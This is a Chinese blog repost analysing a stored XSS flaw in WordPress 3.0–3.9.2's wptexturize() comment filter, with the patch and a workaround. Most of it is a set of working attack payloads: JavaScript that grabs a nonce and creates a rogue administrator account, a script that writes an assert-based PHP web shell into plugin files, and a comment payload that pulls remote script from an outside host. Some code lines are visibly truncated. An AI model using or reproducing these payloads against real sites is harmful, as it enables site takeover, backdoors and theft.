漏洞分析

问题出在wordpress的留言处,通常情况下留言是允许一些html标签的,比如<a>、<B>、<code>等等,然而标签中有一些属性是在白名单里的,比如<a>标签允许href属性,但是onmouseover属性是不允许的。

但是在一个字符串格式化函数wptexturize()上出现了问题,这个函数会在每一个留言上执行,函数的功能是把当前的字符转义成html实体,比如把“”转义为“”。为了防止干扰html格式,wptexturize()首先会以html标签为标准把文本分成若干段,除了html标签,还有方括号标签比如。分割的功能是由下列正则表达式完成的。

在wp-includes/formatting.php代码的第156行:
$textarr = preg_split('/(< .*>|\[.*\])/Us', $text, -1,
PREG_SPLIT_DELIM_CAPTURE);

但是如果文章中混合着尖括号<>和方括号[]会造成转义混淆,导致部分代码没有转义。

攻击者可以通过这个漏洞在允许的HTML标签中注入样式参数形成XSS攻击,比如通过建立一个透明的标签覆盖窗口,捕捉onmouseover事件。

漏洞利用测试

以下代码可以用于测试

 [<a href="test" title="]"></a>[" <!-- onmouseover=alert(/v587/)//><!-- -->NOT VULNERABLE<a></a>]

修复建议

这一漏洞很容易被攻击者利用,WordPress官方建议用户尽快更新补丁,而在新版WordPress 4.0.1已经修复了所有的漏洞。

WordPress官方于11月20日发布了官方补丁,目前大多数的WordPress网站上都会收到补丁更新提醒通知;如果有一些其他原因使得你无法更新补丁,Klikki Oy公司还提供了另外一个解决方案(workaround)可以修复该漏洞。

wptexturize可以通过在wp-includes/formatting.php开头增加一个返回参数避免这个问题

function wptexturize($text) {
return $text; // ADD THIS LINE
global $wp_cockneyreplace;
额外提醒

如果你使用的是WP-Statistics WordPress插件,你也应该更新补丁。因为这些插件上也存在跨站脚本漏洞,攻击者同样可以实施攻击。

wordpress 添加管理员payload
账号:0x_Jin
密码:fuckxssQ

var a = location.href.split('/');
var xurl = location.href.replace(a[a.length-1],"user-new.php");
jQuery.ajax({
url: xurl,
type: 'GET',
dataType: 'html',
data: {},
})
.done(function(data) {
var temp = jQuery(data);
var Xtoken = "";
temp.find('input#_wpnonce_create-user').each(function(i,o){
var o=jQuery(o);
Xtoken=o.attr('value');
});
jQuery.ajax({
url: xurl,
type: 'POST',
data: {'action': 'createuser','_wpnonce_create-user':Xtoken,'user_login':'0x_Jin','email':'root@xss1.com','first_name':'0x_Jin','last_name':'0x_Jin','url':'www.xss1.com','pass1':'fuckxssQ','pass2':'fuckxssQ','role':'administrator','createuser':'Add+New+User+'}
})
.done(function(){
console.log('ok');
return;
})
})
.fail(function() {
console.log("error");
})
.always(function() {
return;
});

wordpress getshell payload
如果实战用记得把 console.lnfo 那一行该为发送喔。。。
密码:fuckxssQ
这个getshell js 有getshell当前模板跟getshell全部模板的功能
默认是getshell当前模板 StartGetshell = 0
如果要getshell全部插件模板 把 StartGetshell的值改为1 即可


/*
0x_Jin WordPress Getshell
*/
var a = location.href.split('/');
var file = "";
var xurl = location.href.replace(a[a.length-1],"plugin-editor.php");
var file2 = [];
var StartGetshell = 0;
var shellcode = '< ?php\n$k="ass"."ert"; $k(${"_PO"."ST"} ["fuckxssQ"]);';
jQuery.ajax({
url: xurl,
type: 'GET',
dataType: 'html',
data: {},
})
.done(function(data) {
var temp = jQuery(data);
var Xtoken = "";
var Tmpcode = "";
temp.find('input#_wpnonce').each(function(i,o){
var o=jQuery(o);
Xtoken=o.attr('value');
});
temp.find('textarea#newcontent').each(function(i,o){
var o=jQuery(o);
Tmpcode = o.text().replace(' })
temp.find('div.alignleft big strong').each(function(i,o){
var o=jQuery(o);
file = o.text();
})
temp.find('select#plugin option').each(function(i,o){
var o=jQuery(o);
file2.push(o.attr('value'));
})
if(Xtoken&&Tmpcode&&file){
jQuery.ajax({
url: xurl,
type: 'POST',
data: {'_wpnonce':Xtoken,'newcontent':Tmpcode,'action':'update','file':file,'plugin':file,'submit':'Update+File'}
})
.done(function(){
var temp = location.href.substring(location.href.indexOf('wp-admin'),location.href.length);
console.info('Webshell:'+location.href.replace(temp,"wp-content/plugins/"+file));
return;
})
}
if(StartGetshell){
for(var i=0;i var filename = file2[i];
if(file2[i]!=file){
jQuery.ajax({
url: xurl,
type: 'POST',
data: {'plugin': file2[i],'Submit':'Select'},
})
.done(function(data) {
var NewCode = "";
var NewToken= "";
var Getshell=jQuery(data);
Getshell.find("textarea#newcontent").each(function(i,o){
var o=jQuery(o);
NewCode = o.text().replace(' })
Getshell.find("input#_wpnonce").each(function(i,o){
var o=jQuery(o);
NewToken = o.attr('value');
})
if(NewCode&&NewToken){
console.log("1"+filename);
jQuery.ajax({
url: xurl,
type: 'POST',
data: {'_wpnonce':NewToken,'newcontent':NewCode,'action':'update','file':filename,'plugin':filename,'submit':'Update+File'}
})
.done(function(){
var temp = location.href.substring(location.href.indexOf('wp-admin'),location.href.length);
console.info('Webshell:'+location.href.replace(temp,"wp-content/plugins/"+filename));
return;
})
}
})
}
}
}
})
.fail(function() {
console.log("error");
})
.always(function() {
return;
});

wordpress 3.0-3.9.2 XSS 提高触发几率

首先wordpress 白名单提供的标签都是行级标签没有块级标签,无法直接设置高宽来占据整个网页。
我最开始的目标是占据整个DOM 只要鼠标到了DOM的任何一处都会触发onmouseover事件。
代码如下:

[[" <!-- onmouseover=jQuery.getScript('//20.rs') style="text-decoration:none;display:block;width:2000px;height:2000px;//><!-- -->            ]

转自:zone.wooyun.org

转载文章请注明,转载自:小马's Blog https://www.i0day.com

本文链接: https://www.i0day.com/1812.html